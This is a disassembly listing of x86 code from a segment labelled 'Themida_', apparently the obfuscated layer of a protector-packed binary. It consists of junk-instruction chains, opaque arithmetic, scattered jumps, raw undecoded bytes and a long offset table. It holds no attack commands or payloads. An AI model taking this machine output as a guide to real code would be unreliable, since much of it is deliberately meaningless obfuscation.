		mov	cl, 3Ch
		xor	cl, bl
		jmp	loc_58F0DB
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 241C8B04h, 0E904C483h, 0FFFFF525h
; ---------------------------------------------------------------------------


loc_590308:				; CODE XREF: Themida_:00589CF2j
		shr	ecx, 7
		sub	ecx, 35BC4561h
		xor	ecx, 0CA920F67h
		jmp	loc_586D2F
; ---------------------------------------------------------------------------
		dd 8B240C33h, 0E9F72424h, 4EC81h, 88E90000h, 8BFFFF57h
		dd 0D3662424h, 0E99C240Ch, 0FFFF4137h
dword_59033C	dd 240C8B66h	; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	34E5h
		mov	[esp], esi
		mov	esi, 4D533BEAh
		add	esi, 375C41CAh
		and	esi, 8EC22ABh
		xor	esi, 3FBF17CDh
		push	ebp
		mov	ebp, 7BAE1046h
		not	ebp
		dec	ebp
		not	ebp
		sub	ebp, 0BAC147B0h
		jmp	loc_586D8E
; ---------------------------------------------------------------------------
		dd 0DAEB8058h, 1C8BD828h, 4C48324h, 0B4505266h,	0A9DBE946h
		dd 0F801FFFFh, 83243C8Bh, 0E5E904C4h, 8BFFFFD5h, 0C4832434h
		dd 242C3304h, 0E9242C31h, 0FFFFDF15h, 0FF40C2E9h, 5BDD01FFh
		dd 0ED81F501h, 1FB0127h, 242C875Eh, 0FFE11BE9h
		db 0FFh
byte_5903C5	db 0ACh, 0E9h, 7Ch	; DATA XREF: Themida_:005843A4o
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5903CB:				; CODE XREF: Themida_:00586282j
		sub	ebp, 6500085Fh
		jmp	loc_58E000
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 0FFE49EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5903DD:				; CODE XREF: Themida_:00587089j
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, ebx
		mov	edi, edx
		jmp	loc_586017
; ---------------------------------------------------------------------------


loc_5903ED:				; CODE XREF: Themida_:0059069Bj
		add	[edi+24h], ecx
		pop	ecx
		jmp	loc_59006F
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFF589h, 0BAh, 52B85000h,	56156F53h, 112DC8BEh, 33C6811Fh
		dd 10FDAE9h, 0C2295EF2h, 16FBEA81h, 1582EECh, 52BD55DAh
		dd 0E9156F53h, 0FFFF756Ah
; ---------------------------------------------------------------------------


loc_59042C:				; CODE XREF: Themida_:005888A1j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_589D2C
; ---------------------------------------------------------------------------
		dd 8006EAC0h, 0C280A2E2h, 80C2FE1Bh, 0E2302EEAh, 0F6DAF658h
		dd 0F13AE9D2h, 8159FFFFh, 0E74D64F5h, 0D45CE93Dh, 0D7F7FFFFh
		dd 6DE5CF81h, 0D7F7481Eh, 0A8BDC781h, 0FA292761h, 0D49BE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590476:				; CODE XREF: Themida_:0058E63Cj
		sub	eax, 1775470h
		inc	eax
		sub	eax, 0DAF0038Dh
		add	ebp, eax
		pop	eax
		mov	ebx, [esp]
		jmp	loc_5856BD
; ---------------------------------------------------------------------------
		dd 4C481h, 0DF290000h, 0FFAAFFE9h, 1376BAFFh, 0D731520Bh
		dd 72F7815Ah, 1128345h,	0DEC1E9FAh, 295EFFFFh, 8104246Ch
		dd 0CD042444h, 81200A62h, 0D0042444h, 833E5637h, 3C8904ECh
		dd 85BD5524h, 8925F67Ch, 6A89E9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5904D6:				; CODE XREF: Themida_:00589D7Cj
		mov	ch, 35h
		inc	ch
		push	small 25FBh
		mov	[esp], bx
		push	edx
		mov	dl, 2Eh
		xor	dl, 7Ah
		xor	dl, 87h
		mov	bh, dl
		jmp	loc_587A1C
; ---------------------------------------------------------------------------
word_5904F2	dw 0E9ACh		; DATA XREF: Themida_:005842E0o
		dd 0FFFFF753h
; ---------------------------------------------------------------------------


loc_5904F8:				; CODE XREF: Themida_:0058D723j
		shr	ecx, 4
		xor	ecx, 15CFC07h
		push	ecx
		pop	ebx
		jmp	loc_58B962
; ---------------------------------------------------------------------------


loc_590508:				; CODE XREF: Themida_:0058FC40j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_58868E
; ---------------------------------------------------------------------------


loc_59051E:				; CODE XREF: Themida_:0058FD83j
		add	ecx, ebp
		pop	ebp
		xor	ecx, 637F3AE3h
		shr	ecx, 4
		shl	ecx, 3
		sub	ecx, 0E0805A4Fh
		jmp	loc_5895B8
; ---------------------------------------------------------------------------
aRhqx		db 'RhQX',0
		align 2
		dw 1C89h
		db '$ȁ~x',0
		db 'ºÇ~x',0
		db 0E9h
		dd 0FFFF8295h
; ---------------------------------------------------------------------------


loc_590550:				; CODE XREF: Themida_:00585185j
		sub	ebx, ebp
		pop	ebp
		add	ebx, 1F44934h
		jmp	loc_588EC8
; ---------------------------------------------------------------------------


loc_59055E:				; CODE XREF: Themida_:0058EE0Cj
		push	59D5486Fh
		pop	esi
		xor	esi, edi
		xor	edi, esi
		jmp	loc_5882D9
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 5Fh
		dd 6623182Dh, 150A0565h, 55E903A8h, 28FFFF9Eh, 0C8B59E8h
		dd 4C48124h, 51000000h,	0B45085B5h, 0B4EC8087h,	8007ECC0h
		dd 0C4806BE4h, 45F48001h, 0E9EDED80h, 0FFFFC231h
; ---------------------------------------------------------------------------


loc_5905A8:				; CODE XREF: Themida_:00587CD1j
		mov	dx, [esp]
		push	ebx
		push	6F1Bh
		mov	[esp], esp
		jmp	loc_584A4F
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 3BC9129Bh, 68DDC681h, 0C68165A7h, 6D812CDh, 0D2BEF681h
		dd 0F50189F2h, 638EE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5905DA:				; CODE XREF: Themida_:0058A700j
		push	dword ptr [esp]
		jmp	loc_58BA76
; ---------------------------------------------------------------------------
		dw 0E3D0h
		dd 0E9B7EB80h, 0FFFFCFB6h, 6989EA81h, 0F2295C3Dh, 6989C281h
		dd 0E95E5C3Dh, 0FFFFB4DFh
; ---------------------------------------------------------------------------


loc_590600:				; CODE XREF: Themida_:0058D3C7j
		push	edx
		mov	edx, 4
		sub	ebp, 6C2961DCh
		add	ebp, edx
		jmp	loc_587B3F
; ---------------------------------------------------------------------------


loc_590613:				; CODE XREF: Themida_:0058C3F4j
		mov	[esp], eax
		push	esi
		mov	esi, 7D0D462Ah
		push	ebx
		mov	ebx, esi
		mov	eax, ebx
		jmp	loc_588F5B
; ---------------------------------------------------------------------------
		dw 2B9h
		dd 1000000h, 69A0E9CBh,	15BFFFFh, 2434FFEFh, 0FFB8ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59063D:				; CODE XREF: Themida_:00584477j
		mov	[esp], bx
		push	ecx
		mov	cl, 0AFh
		mov	bh, 50h
		sub	bh, 9Bh
		push	ecx
		jmp	loc_58C876
; ---------------------------------------------------------------------------


loc_59064F:				; CODE XREF: Themida_:0058F3DDj
		mov	ebx, 4
		push	ecx
		mov	ecx, 459A11ACh
		sub	edi, 34911912h
		sub	edi, ecx
		add	edi, 34911912h
		pop	ecx
		add	edi, 15DC1E6Dh
		add	edi, ebx
		sub	edi, 15DC1E6Dh
		add	edi, 459A11ACh
		pop	ebx
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 1
		jmp	loc_5903ED
; ---------------------------------------------------------------------------
		dd 165F68h, 241C8900h, 0C9583DBBh, 23C38162h, 51517169h
		dd 0F579E8B9h, 0C383E911h, 0DFF6FFFFh, 0C062E780h, 0D7F604E7h
		dd 0F780CFFEh, 5BF8003Eh, 0FFC4B4E9h
		db 0FFh
byte_5906D5	db 8Bh,	0Ch, 24h	; DATA XREF: Themida_:005843ACo
		dd 0FF97B5E9h, 0E9592CFFh, 0FFFF7C4Ah, 5778E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5906EA:				; CODE XREF: Themida_:00587B46j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		mov	eax, [esp]
		push	34F5h
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	esi
		jmp	loc_58CB55
; ---------------------------------------------------------------------------
		db 0BFh, 2Ah, 6Eh
		dd 0F8E9562Dh
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590717:				; CODE XREF: Themida_:0058CAB9j
		mov	esi, 468E6702h
		shl	esi, 2
		add	esi, 1DDE64A2h
		jmp	loc_58A841
; ---------------------------------------------------------------------------
		dw 0C8FEh
		dd 604D0F6h, 88C78853h,	9E35E9FEh, 6C81FFFFh, 7E590824h
		dd 44810D58h, 23890824h, 5FE9296Bh, 8BFFFFFDh, 0C481240Ch
		dd 4, 5081E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59075E:				; CODE XREF: Themida_:0058A14Aj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		push	esi
		mov	esi, 4DAB04B0h
		jmp	loc_58447C
; ---------------------------------------------------------------------------
		dd offset byte_5E96EF
		dd 0E237DCAAh, 12FF4Ch,	0FA44C2CAh, 5EF65Ah, 5EA23Fh, 7C90EB94h
		dd 207h, 2, 1, 2, 0FA44C2CAh, 5	dup(0)
		dd offset byte_597169
		dd offset word_59510E
		dd offset word_5A1D2A
		dd offset word_5A5256
		dd offset dword_5A1A90
		dd offset byte_594D95
		dd offset byte_597B37
		dd offset word_5996B6
		dd offset byte_5919CF
		dd offset word_59869E
		dd offset dword_5A5960
		dd offset off_594CD9
		dd offset byte_5A3A6B
		dd offset dword_5A27CC
		dd offset word_59DA4A
		dd offset dword_59C4A4
		dd offset byte_59F8C9
		dd offset byte_59ABFD
		dd offset byte_5A4FCB
		dd offset byte_59E6FD
		dd offset word_5A3442
		dd offset byte_596CEB
		dd offset byte_5A0789
		dd offset byte_595397
		dd offset byte_595DF5
		dd offset dword_59C6AC
		dd offset aMhs5		; "¬hs5"
		dd offset off_594494
		dd offset byte_59AF11
		dd offset aNh@		; "­hê@"
		dd offset word_5A469A
		dd offset word_59199A
		dd offset byte_5A33DF
		dd offset dword_59B168
		dd offset byte_5955B9
		dd offset dword_598A9C
		dd offset word_59F0F2
		dd offset dword_598D48
		dd offset byte_59759F
		dd offset aM0QpsA	; "¬0ØQPé(€"
		dd offset byte_592C5B
		dd offset byte_59A99D
		dd offset byte_59F81F
		dd offset word_59B6DE
		dd offset aRss		; "Ré‘Ë"
		dd offset byte_59B633
		dd offset byte_59B00B
		dd offset byte_59EC8D
		dd offset byte_59572F
		dd offset dword_596E64
		dd offset word_5A3356
		dd offset byte_596C4F
		dd offset dword_5A0DC4
		dd offset byte_5A0B23
		dd offset byte_59B841
		dd offset byte_59635B
		dd offset byte_59441D
		dd offset dword_59F7C4
		dd offset dword_59D1DC
		dd offset byte_595883
		dd offset byte_593B31
		dd offset dword_59AD54
		dd offset byte_5A296B
		dd offset dword_5A0AF8
		dd offset dword_59FD04
		dd offset byte_592E97
		dd offset byte_593535
		dd offset word_5A0222
		dd offset dword_592FF8
		dd offset byte_594BD5
		dd offset word_5979FE
		dd offset word_59BA86
		dd offset dword_59C7A4
		dd offset word_591846
		dd offset dword_593AB4
		dd offset byte_5A094D
		dd offset word_5A188E
		dd offset dword_59B67C
		dd offset byte_59138F
		dd offset byte_59C1F9
		dd offset dword_599150
		dd offset byte_59B773
		dd offset byte_59D7B1
		dd offset byte_5A3CC3
		dd offset dword_593AC8
		dd offset byte_59DBFD
		dd offset word_593C06
		dd offset dword_59EDDC
		dd offset byte_59D35B
		dd offset byte_59E0F5
		dd offset word_5A1812
		dd offset dword_5A174C
		dd offset aMs		; "¬é>š"
		dd offset byte_594B3B
		dd offset dword_59CACC
		dd offset dword_591E60
		dd offset byte_5A288F
		dd offset word_594612
		dd offset aN1HK		; "­1Øh!K"
		dd offset byte_59E34F
		dd offset dword_599D5C
		dd offset dword_599CDC
		dd offset dword_5A4A9C
		dd offset byte_59F4C3
		dd offset word_596282
		dd offset byte_59FF03
		dd offset dword_5A082C
		dd offset byte_5A492F
		dd offset dword_598D74
		dd offset byte_5992C7
		dd offset aFlSq		; "f‹$$éQ!"
		dd offset dword_5A1A98
		dd offset byte_59C9E9
		dd offset byte_590BAB
		dd offset word_5A366A
		dd offset byte_593E7F
		dd offset byte_59F9F3
		dd offset aNhV		; "­hÉv"
		dd offset word_5A47A2
		dd offset dword_594534
		dd offset word_5A28F6
		dd offset word_59BF22
		dd offset byte_59A1A3
		dd offset byte_5A2D8D
		dd offset aNwU6S	; "­W¿u6Ü|é,*"
		dd offset byte_595DDF
		dd offset aNrhgy	; "­RhƒY"
		dd offset byte_5A17BF
		dd offset word_5939CE
		dd offset word_593C52
		dd offset byte_59E893
		dd offset word_59AE0E
		dd offset byte_5A354B
		dd offset dword_5997E4
		dd offset byte_596995
		dd offset dword_5A50CC
		dd offset byte_5A547B
		dd offset byte_5A1869
		dd offset byte_592721
		dd offset word_5A1EA2
		dd offset byte_596297
		dd offset word_59822A
		dd offset dword_5A4CF8
		dd offset byte_59E9F9
		dd offset word_5A3F6E
		dd offset dword_59E918
		dd offset dword_592E1C
		dd offset byte_5964B7
		dd offset byte_59771B
		dd offset dword_59F2FC
		dd offset word_59B10A
		dd offset word_5A3536
		dd offset byte_5A2801
		dd offset dword_5969DC
		dd offset word_5A5596
		dd offset byte_5A58F3
		dd offset byte_59B2AF
		dd offset word_5A0356
		dd offset word_59E716
		dd offset word_59338E
		dd offset dword_5A1A6C
		dd offset byte_5A085D
		dd offset byte_59DADF
		dd offset byte_59C623
		dd offset word_598762
		dd offset word_5A113A
		dd offset byte_59B817
; ---------------------------------------------------------------------------


loc_590A54:				; CODE XREF: Themida_:005DD86Fj
					; Themida_:005EA1C9j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6144792h
		mov	eax, edi
		add	edi, 61444AAh
		cmp	eax, [edi+2Ch]
		jnz	short loc_590A72
		jmp	short loc_590A85
; ---------------------------------------------------------------------------


loc_590A72:				; CODE XREF: Themida_:00590A6Ej
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_590A81
; ---------------------------------------------------------------------------


loc_590A7C:				; CODE XREF: Themida_:00590A83j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_590A81:				; CODE XREF: Themida_:00590A7Aj
		or	ecx, ecx
		jnz	short loc_590A7C


loc_590A85:				; CODE XREF: Themida_:00590A70j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_590A92:				; CODE XREF: Themida_:00590A99j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_590A92


loc_590A9B:				; CODE XREF: Themida_:005920D0j
					; Themida_:loc_5925E9j	...
		lodsb
		sub	esp, 4
		jmp	loc_5A0A0A
; ---------------------------------------------------------------------------
		dd 424548Ah, 4244488h, 0CD25E9h, 1EE8300h, 75D9B951h, 0E9C16410h
		dd 5E1C105h, 0F79FE9h, 74FF5500h, 8F5D0424h, 0E95C2404h
		dd 0CA21h
; ---------------------------------------------------------------------------


loc_590AD4:				; CODE XREF: Themida_:00594977j
		shr	edx, 3
		sub	edx, 4318239Bh
		shl	edx, 3
		jmp	loc_591F0D
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 52000000h, 0F52825B6h, 0C0EDD05Ah, 0ED8005E5h, 0D42C83h
		dd 8BD404E8h, 8957240Ch, 4BB53E7h, 81000000h, 5619DEC7h
		dd 0E9DF011Fh, 0C437h
; ---------------------------------------------------------------------------


loc_590B18:				; CODE XREF: Themida_:0059AA65j
		pop	ebp
		add	ebp, 4
		push	ecx
		jmp	loc_59D6D8
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0EF050000h, 53B4627h, 7F304BE5h, 0D3FCE9h, 0D3885900h
		dd 12BA0E9h, 2434FF00h,	4C4815Ah, 81000000h, 4C5h, 6F036800h
		dd 44E90000h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_590B5F:				; CODE XREF: Themida_:005918DAj
		pop	edx
		sub	dword ptr [esp+4], 6CB2331Bh
		sub	[esp+4], eax
		jmp	loc_59B325
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48358h, 38D46852h,	24890000h, 24048124h, 4, 11C11E9h
		dd 8CE95300h, 5C000109h, 0E92434FFh, 6104h
aNrhgy		db '­RhƒY',0            ; DATA XREF: Themida_:005909B0o
		dw 8900h
aSs		db '<$é‘Ý',0
		db 0
byte_590BAB	db 66h			; DATA XREF: Themida_:0059097Co
		dd 5524048Bh, 0E240E9h,	1EB8100h, 1B0CBFDh, 0B9515BDAh
		dd 4, 8759CA01h, 0F3E92414h, 8B0000FBh,	0C481240Ch, 4
		dd 9FE9D901h
		db 0F2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_590BDF:				; CODE XREF: Themida_:005983B9j
		push	ebx
		push	esi
		jmp	loc_594463
; ---------------------------------------------------------------------------


loc_590BE6:				; CODE XREF: Themida_:0059593Cj
		mov	ebp, esi
		pop	esi
		add	ebx, 37D7C4Eh
		push	ebp
		mov	ebp, 765D5DF9h
		add	ebx, ebp
		pop	ebp
		add	ebx, ebp
		sub	ebx, 765D5DF9h
		jmp	loc_59254C
; ---------------------------------------------------------------------------
		dd offset loc_436266+2
		align 2
		dw 0A6E9h
		dd 660000D1h, 0E9240489h, 0FFFFFE83h, 0E180C9FEh, 7DE98022h
		dd 53C1B652h, 0C7FEA6B7h, 800EF780h, 0FE209EEFh, 0E953505Bh
		dd 80AFh
; ---------------------------------------------------------------------------


loc_590C38:				; CODE XREF: Themida_:00591C74j
		mov	[esp], edi
		mov	edi, 0BF484Fh
		dec	edi
		not	edi
		inc	edi
		or	edi, 1E56206Fh
		jmp	loc_5A23FB
; ---------------------------------------------------------------------------
		db 4
aHnj		db 'Æ(ØhnJ',0
		align 4
		dd offset byte_5A19E9
		dd 5DEB2900h, 0E9241C87h, 4504h, 0E9EB895Eh, 236Ah, 912BDD05h
		dd 53595A33h, 506FE9h, 0F5814500h, 0AD93C1EDh, 9612E9h
		db 0
; ---------------------------------------------------------------------------


loc_590C89:				; CODE XREF: Themida_:005A572Cj
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 1AF641FCh
		add	dword ptr [esp+4], 4C5C30B6h
		push	eax
		jmp	loc_59B825
; ---------------------------------------------------------------------------


loc_590CA3:				; CODE XREF: Themida_:00594DF1j
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59AF1A
; ---------------------------------------------------------------------------
		db 0Dh
		dd 53AE348Ch, 1697BE56h, 0F7466F80h, 1ECE81D6h,	812C9E7Bh
		dd 0FE7319EEh, 7F1D2D30h, 0F00173DBh, 0DB7F1D05h, 0C7015E73h
		dd 582434FFh, 0A1B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_590CED:				; CODE XREF: Themida_:005A3E4Cj
		pop	ebp
		add	ebx, eax
		pop	eax
		add	ebx, edi
		push	4135h
		mov	[esp], edi
		mov	edi, 4DFB4F95h
		add	edi, 0E5A4C9FAh
		push	ebp
		mov	ebp, 21232BD0h
		push	ebx
		jmp	loc_59B274
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2359BF57h, 0EFE94B59h, 8B000138h,	0C4832404h, 4E98104h
		dd 87000000h, 61E9240Ch
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_590D37:				; CODE XREF: Themida_:0059F9EEj
		mov	al, ch
		pop	ecx
		jmp	loc_592F55
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 58F76800h, 1C890000h, 28E8B324h, 52665BD8h, 0F0008EB6h
		dd 24148B66h, 0D0BE9h, 0E9D5F700h, 0BDE2h
; ---------------------------------------------------------------------------


loc_590D68:				; CODE XREF: Themida_:00596207j
		pop	ebx
		sub	ebx, edx
		pop	edx
		add	edi, ebx
		jmp	loc_59F6D8
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0B951D829h, 451A4B94h, 2A49F181h, 0C1811943h, 69A1631Ch
		dd 4C3CC181h, 0C801A58Fh, 54515B59h, 9AE95059h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_590D9B:				; CODE XREF: Themida_:0059D9F1j
		xchg	ebp, [esp]
		jmp	loc_59D9DE
; ---------------------------------------------------------------------------
		db 81h
		dd 1D0516E6h, 99C6814Ch, 817EC422h, 40D82FEEh, 5EF12957h
		dd 0E950D1F7h, 14505h, 0C781E789h, 4, 121E3E9h,	24348900h
		dd 140D68h, 243C8900h, 5CA968h,	24148900h, 0D533AE68h
		dd 0EA815A3Dh, 3B722F91h, 0E95AD789h, 0A62Eh, 7A3E957h
		db 1, 0
; ---------------------------------------------------------------------------


loc_590DFA:				; CODE XREF: Themida_:00599D75j
		mov	ebp, 4662163Ah
		jmp	loc_599A0D
; ---------------------------------------------------------------------------
		dd 6091E681h, 0E0E93513h, 870000D2h, 1EE953D6h,	83000008h
		dd 2EE904ECh
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_590E1F:				; CODE XREF: Themida_:005A0CA4j
		sub	dword ptr [esp+4], 7E772834h
		add	[esp+4], ebx
		add	dword ptr [esp+4], 7E772834h
		sub	dword ptr [esp+4], 39880D71h
		push	dword ptr [esp]
		jmp	loc_5955C7
; ---------------------------------------------------------------------------


loc_590E43:				; CODE XREF: Themida_:005949BDj
		add	ecx, 4
		push	edx
		mov	edx, 5B26585Ah
		push	ecx
		mov	ecx, 4E48364Dh
		jmp	loc_5972DD
; ---------------------------------------------------------------------------
		dw 0FC88h
		dd 88F1885Bh, 0FE5866E6h, 0C9B8E9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_590E6A:				; CODE XREF: Themida_:0059C24Bj
		and	esi, 0C6F46BAh
		jmp	loc_5A0180
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 5ACCE9h
		db 0
; ---------------------------------------------------------------------------


loc_590E81:				; CODE XREF: Themida_:005A112Dj
		mov	[esp], eax
		push	4C570F34h
		pop	eax
		sub	eax, 2D823EBDh
		push	6988h
		mov	[esp], eax
		jmp	loc_5A014A
; ---------------------------------------------------------------------------


loc_590E9C:				; CODE XREF: Themida_:0059F180j
		sub	ah, 0CAh
		or	ch, ah
		jmp	loc_592CCA
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 4AB0F66h,	0E4E99C24h, 8BFFFFFBh, 0C483242Ch
		dd 860FE904h, 0CE010000h, 5319EE81h, 0E9595AA8h, 11CCBh
		dd 55240C89h, 0F22DF3BDh, 0F7F58154h, 8954F22Dh, 242C8BE9h
		dd 104C483h, 5904244Ch,	8124048Fh, 42404h, 48F0000h, 0FCE95224h
		db 2Fh,	1, 0
; ---------------------------------------------------------------------------


loc_590EFF:				; CODE XREF: Themida_:00591FA5j
		add	bh, 0E3h
		sub	dh, 0E1h
		sub	dh, bh
		add	dh, 0E1h
		mov	ebx, [esp]
		jmp	loc_59F8A0
; ---------------------------------------------------------------------------


loc_590F12:				; CODE XREF: Themida_:00598354j
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_598D3B
; ---------------------------------------------------------------------------
		dd 84EB8143h, 291A9338h, 0D9F75BD9h, 13D8F181h,	8151BB1Ah
		dd 3472404h, 815A47ABh,	0AB0347EAh, 0D1015947h,	240C335Ah
		dd 67A1E9h, 24048900h, 4B8h, 0CEE98100h, 81496A01h, 3A0483E9h
		dd 50C1016Ch, 10A2FE9h,	72E0500h, 0D0F75596h, 0BEA52105h
		dd 9B85E913h, 3C8B0000h, 4C48324h, 8B24048Fh, 14892424h
		dd 2E0BBA24h, 0B4E9554Dh, 66000062h, 8324348Bh,	0C8904ECh
		dd 81E18924h, 4C1h, 7DBD5500h, 5613971Ah, 8E60B8BEh, 0B659E97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_590FB2:				; CODE XREF: Themida_:0059BD38j
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_5A01C7
; ---------------------------------------------------------------------------
aNh@		db '­hê@',0             ; DATA XREF: Themida_:0059082Co
		align 4
aIGAhnw		db '‰,$½£',0Ah
		db 1Bh,'ahw',0
		dd 24048900h, 0EE6D45B8h, 0E9C53174h, 0BC08h, 42474FFh
		dd 51EBE958h, 0BD680000h, 8900006Eh, 4B9240Ch, 1000000h
		dd 8B04244Ch, 0C481240Ch, 4, 2370E9h, 0C5EA8100h, 5D071271h
		dd 4860E956h
		db 1, 0
; ---------------------------------------------------------------------------


loc_591016:				; CODE XREF: Themida_:0059BB64j
		mov	[esp], edi
		push	59DCh
		mov	[esp], ecx
		mov	ecx, 59201139h
		push	ecx
		pop	edi
		pop	ecx
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A3FDB
; ---------------------------------------------------------------------------
		db 0BFh, 8Ch, 7Dh
		dd 68551055h, 2C1969ACh, 0EA2BE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59104A:				; CODE XREF: Themida_:00595A05j
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5A581C
; ---------------------------------------------------------------------------
		dd 89243C89h, 0BE5655E7h, 4, 0DCE5E9h, 5BD88800h, 8058C600h
		dd 0F13083EEh, 2731685Ah, 1C890000h, 0D0B65224h, 800ACE80h
		dd 0C6807BC6h, 0FAC680F6h, 0BBE9F788h, 8100012Ch, 512055EDh
		dd 517EE9A6h, 0EF810000h, 0E59364Eh, 0B850F701h, 0E59364Eh
		dd 5E58C701h, 34FFF901h, 0C4835F24h, 2C18304h, 8B240C87h
		dd 0F7662424h, 166866F9h, 7583E928h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5910EA:				; CODE XREF: Themida_:005A3531j
		push	edx
		mov	edx, 40E5D8Ch
		add	edi, 27E60924h
		add	edi, edx
		sub	edi, 27E60924h
		pop	edx
		push	edi
		pop	esi
		pop	edi
		jmp	loc_59F05A
; ---------------------------------------------------------------------------


loc_591107:				; CODE XREF: Themida_:005A5861j
		or	eax, eax
		jz	loc_59F872
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5947F9
; ---------------------------------------------------------------------------


loc_59111B:				; CODE XREF: Themida_:005A04ECj
		sub	eax, 1EC2650h
		jmp	loc_59987D
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8560E9h, 0F7E2D100h,	81DAF7D2h, 0D2548DEAh, 0F613E904h
		dd 89570000h, 4C781E7h,	83000000h, 65E904C7h, 47000076h
		dd 4A9FF781h, 0F7810B14h, 4722049Ch, 15FFB29h, 26BD55F3h
		dd 14C0647h, 242C8BEBh,	4C481h,	34FF0000h, 46E95E24h, 51000148h
		dd 0DCE95954h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_591183:				; CODE XREF: Themida_:005A179Ej
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, 1
		add	edi, 2FB80A22h
		add	edi, ecx
		push	esi
		jmp	loc_59C1EB
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E924148Bh, 0CE78h, 8B2434FFh, 0C483243Ch
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_59DB4B
; ---------------------------------------------------------------------------


loc_5911BD:				; CODE XREF: Themida_:005A1AFAj
		mov	edi, esi
		jmp	loc_59E811
; ---------------------------------------------------------------------------


loc_5911C4:				; CODE XREF: Themida_:00598E9Bj
		add	edi, 54C72593h
		sub	edi, edx
		sub	edi, 54C72593h
		pop	edx
		jmp	loc_5A5046
; ---------------------------------------------------------------------------
		dd 67FFF381h, 0BA525B89h, 7D0A6B59h, 148BD331h,	4C48324h
		dd 3687EB81h, 0F3813DA0h, 15E7702Ah, 0CAF8C381h, 0DD291162h
		dd 10AAEE9h, 69C58100h,	17E3350h, 0B692E9F5h, 33590000h
		dd 82E92404h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59121B:				; CODE XREF: Themida_:005A52F6j
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_595B88
; ---------------------------------------------------------------------------


loc_591225:				; CODE XREF: Themida_:0059C4E1j
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_599FD8
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF857h, 51240489h, 7FE9D188h, 3100012Bh,	6AC0E9C6h
		dd 0F7430000h, 36B850DBh, 355F2F72h, 5E8371ACh,	264BE9h
		db 0
; ---------------------------------------------------------------------------


loc_591269:				; CODE XREF: Themida_:0059C2D6j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
